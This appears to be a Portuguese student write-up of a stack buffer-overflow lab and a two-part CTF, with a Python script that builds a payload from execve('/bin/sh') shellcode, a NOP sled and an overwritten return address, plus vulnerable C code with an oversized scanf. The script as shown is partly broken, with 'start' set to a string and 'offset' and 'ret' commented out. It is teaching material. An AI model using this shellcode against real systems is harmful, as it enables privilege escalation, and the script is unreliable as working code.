# Trabalho realizado na Semana #5
> # Ficha
## Task 1: Getting Familiar with Shellcode


Verificamos que o programa criou uma nova shell, como era suposto, tanto para 32-bit e 64-bit. Consequentemente, significa que é possível colocar o código binário de um programa num buffer na stack e executá-lo
## Task 2: Understanding the Vulnerable Program

Quando um programa é compilado as configurações relacionadas com a proteção de stack são desativadas, pelo que o programa ganha permissões root.
Consequentemente, o seguinte programa lê um número de bytes de um ficheiro e copia-os para um buffer de tamanho inferior, resultando na escrita dos restantes bytes fora do espaço alocado para o buffer. Tal acarreta a que possam ser alterados endereços de retorno, variaveis locais, etc ... O que constitui uma vunerabilidade.
## Task 3: Launching Attack on 32-bit Program (Level 1)
Primeiro correu-se o programa na debug version de forma a entender as posições de cada variável na stack.




Desta maneira, foi possível descobrir o offset entre o endereço da posição inicial do buffer e o endereço do local onde é guardado o endereço de retorno.
De seguida, alterou-se as variáveis no script de python, resultando no código apresentado em baixo, sendo que este permitiu correr uma shell de owner root.
```#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = "\xff\xff\xca\xc8" # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
#ret = 0x00 # Change this number
#offset = 0 # Change this number
L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
```
Ao correr o programa com o debugger, passam a existir variáveis adicionais na stack, pelo que o endereço obtido para o frame pointer será inferior a quando o programa é executado no terminal.
Consequentemente, a shell code é escrita mais longe, e o endereço de retorno é também maior, podendo correr o risco de se encontrar na zona dos NOPs.
> # Desafio CTF da Semana 5
## Primeira Parte
Para a primeira parte do desafio, optamos por analisar o código de um dos ficheiros fornecidos, e perceber que a flag poderia ser obtida através de um buffer-overflow.
Nas respota às questões colocadas acerca desta CTF é possível perceber a lógica e raciocínio que tivemos para tal.
Resposta às questões:
1. Existe algum ficheiro que é aberto e lido pelo programa?
Sim, o ficheiro *mem.txt.*
3. Existe alguma forma de controlar o ficheiro que é aberto?
Sim.
A variável responsável por guardar o nome do ficheiro a abrir (meme_file) encontra-se definida imediatamente antes do buffer. Assim, se for possível gerar um buffer-overflow, poderemos dar overwrite à variável meme_file, e consequentemente, alterar o ficheiro aberto.
5. Existe algum buffer-overflow? Se sim, o que é que podes fazer?
O comando scanf está à espera de ler 28 chars do buffer, no entanto, este foi criado para ter uma capacidade máxima de 20 caracteres. Assim, se preenchermos o buffer até ao seu limite (20 char), os restantes irão dar overwrite à variável meme_file - tal como referido na pergunta 2.
Assim, ao escrevermos nos ultimos 8 caracteres o nome do ficheiro que contém a flag, iremos fazer com que o código abra esse ficheiro, dando-nos a conhecer a flag.
# Segunda Parte
Para a segunda do desafio foi utilizado o mesmo raciocínio que para a primeira parte, tendo em conta, porém, da nova variavel inserida.
Código da segunda parte:
```
#include <stdio.h>
#include <stdlib.h>
int main() {
char meme_file[8] = "mem.txt\0";
char val[4] = "\xef\xbe\xad\xde";
char buffer[20];
printf("Try to unlock the flag.\n");
printf("Show me what you got:");
fflush(stdout);
scanf("%32s", &buffer);
if(*(int*)val == 0xfefc2223) {
printf("I like what you got!\n");
FILE *fd = fopen(meme_file,"r");
while(1){
if(fd != NULL && fgets(buffer, 20, fd) != NULL) {
printf("%s", buffer);
} else {
break;
}
}
} else {
printf("You gave me this %s and the value was %p. Disqualified!\n", meme_file, *(long*)val);
}
fflush(stdout);
return 0;
```
1. Que alterações foram feitas?
Em relação ao código anterior existe uma nova variável (val) que é posteriormente usada numa comparação, de forma a mitigar um possivel buffer-overflow.
3. Mitigam na totalidade o problema?
Não.
5. É possivel ultrapassar a mitigação usando uma técnica similar à que foi utilizada anteriormente?
Tal como no código anterior, no novo código temos presente o uso do scanf para um número de caracteres superior ao limite do buffer. Logo, ao fazer o scanf ler 32 bytes - sendo os primeiros 20 aleatórios, seguidos do valor que validaria a comparação com a variável val(*), e os últimos "flag.txt" - podemos abrir o ficheiro "flag.txt", e consequenteme obter a flag da segunda parte.
(*) Nota:
Algo a ter em conta acerca do valor inserido para dar overwrite no "val", é que os inteiros são guardados em "little endian", pelo que a ordem como colocamos o valor para comparação no script teria de ser a inversa dp esperado (0xfefc2223)